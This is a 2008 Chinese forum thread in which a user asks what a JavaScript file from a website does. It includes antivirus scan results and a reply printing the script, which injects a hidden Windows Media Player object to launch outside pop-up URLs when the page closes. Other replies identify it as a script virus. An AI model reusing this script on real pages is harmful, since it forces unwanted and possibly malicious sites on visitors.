这个东西是干嘛的

no3q

http://www.ioage.cn
进这个地址红伞报这个
多引擎扫描只有4个报我只想知道这个是干吗的

exitp2[1].rar (2.45 KB, 下载次数: 61)

2008-10-29 13:43 上传

点击文件名下载附件

件名称 :	exitp2[1].rar
文件大小 :	2506 byte
文件类型 :	RAR archive data, v1d, os
MD5 :	7abb0e60f73276cc057c336b6fd4f401
SHA1 :	cbd59bd5f6e54a37dbf933f16922e6dedfcb64bd

扫描结果

扫描结果 :	10%的杀软(4/39)报告发现病毒
时间 :	2008/10/29 13:34:40 (CST)

软件名称	引擎版本	病毒库版本	病毒库时间	扫描结果	时间
a-squared	4.0.0.23	2008.10.28	2008-10-28	-	1.418
AntiVir	7.9.0.10	7.1.0.8	2008-10-28	JS/Agent.EO	1.421
Arcavir	1.0.5	200810281001	2008-10-28	-	1.193
Authentium	5.1.1	200810270445	2008-10-27	-	1.039
AVAST!	3.0.1	081028-1	2008-10-28	-	0.715
AVG	7.5.52.442	270.8.4/1753	2008-10-28	-	1.700
BitDefender	7.60825.1976205	7.21551	2008-10-29	Trojan.Script.2964	3.235
CA (VET)	9.0.0.143	31.6.6178	2008-10-28	-	5.370
ClamAV	0.94	8532	2008-10-29	-	0.003
Comodo	2.11	2.0.0.690	2008-10-28	-	0.400
CP Secure	1.1.0.715	2008.10.29	2008-10-29	-	6.360
Dr.Web	4.44.0.9170	2008.10.29	2008-10-29	-	3.369
ewido	4.0.0.2	2008.10.28	2008-10-28	-	2.974
F-Prot	4.4.4.56	20081028	2008-10-28	-	1.038
F-Secure	5.51.6100	2008.10.29.01	2008-10-29	-	3.629
GData	19.1169/19.73	20081023	2008-10-23	-	3.183
Ikarus	T3.1.01.44	2008.10.29.71753	2008-10-29	-	2.861
Microsoft	1.4005	2008.10.29	2008-10-29	-	4.361
mks_vir	2.01	2008.10.27	2008-10-27	-	2.620
Norman	5.93.01	5.93.00	2008-10-28	-	5.427
nProtect	2008-10-29.00	2360552	2008-10-29	Trojan.Script.2964	4.676
Quick Heal	9.50	2008.10.28	2008-10-28	-	1.883
Sophos	2.80.0	4.35	2008-10-29	-	1.761
Sunbelt	3.1.1762.1	2353	2008-10-28	-	0.442
The Hacker	6.3.1.1	v00133	2008-10-28	-	0.432
VBA32	3.12.8.8	20081028.1110	2008-10-28	-	1.251
ViRobot	20081028	2008.10.28	2008-10-28	-	0.399
VirusBuster	4.5.11.10	10.90.16/652048	2008-10-28	-	0.840
卡巴斯基	5.5.10	2008.10.29	2008-10-29	-	0.024
安博士V3	2008.10.29.02	2008.10.29	2008-10-29	-	0.941
安天	2.0.18	20081023.1512524	2008-10-23	-	0.017
江民杀毒	11.0.706	2008.10.29	2008-10-29	-	1.343
熊猫卫士	9.05.01	2008.10.28	2008-10-28	-	2.291
瑞星	20.0	21.01.12.00	2008-10-28	-	0.259
赛门铁克	1.3.0.24	20081028.004	2008-10-28	-	0.046
趋势科技	8.700-1004	5.626.02	2008-10-28	-	0.024
迈克菲	5.3.00	5417	2008-10-28	-	2.218
金山毒霸	2008.9.8.18	2008.10.29.10	2008-10-29	JS.Agent.eg.6851	0.663
飞塔	2.81-3.117	9.681	2008-10-28	-	0.184

注意: 就算报告发现病毒，也可能是杀软误报，请根据查毒结果自行判断

复制到剪贴板

复制到剪贴板

[ 本帖最后由 no3q 于 2008-10-29 13:44 编辑 ]

star_xing

avg    0

tanlimo

1. http://www.ioage.cn/exitp2.js

复制代码

1. 
   
2. var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
   
3. function ext(){
   
4. if(window.event.clientY<132 || altKey) iie.launchURL(popURL);
   
5. }
   
6. function brs(){
   
7. document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>";
   
8. }
   
9. var url_arr = ['http://www.listeninfo.cn/ggzxb/listen_gg.html','http://www.77sese.net.cn/'];
   
10. var num = Math.floor(Math.random()*2);
    
11. var popURL = url_arr[num];
    
12. eval("window.attachEvent('onload',brs);");
    
13. eval("window.attachEvent('onunload',ext);");
    

复制代码

niu880601

firefox进去红伞不报！

no3q

原帖由 tanlimo 于 2008-10-29 14:14 发表
http://www.ioage.cn/exitp2.js


var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
function ext(){
if(window.event.clientY

解释下嘛,我想知道这个动作是干嘛的.我是菜鸟

mofunzone

脚本病毒，外联到别的地方下载文件

no3q

挖,M版出手了.
头像换了 差点不认识了

本拉稀

原帖由 no3q 于 2008-10-29 17:09 发表
挖,M版出手了.
头像换了 差点不认识了

他不是版主。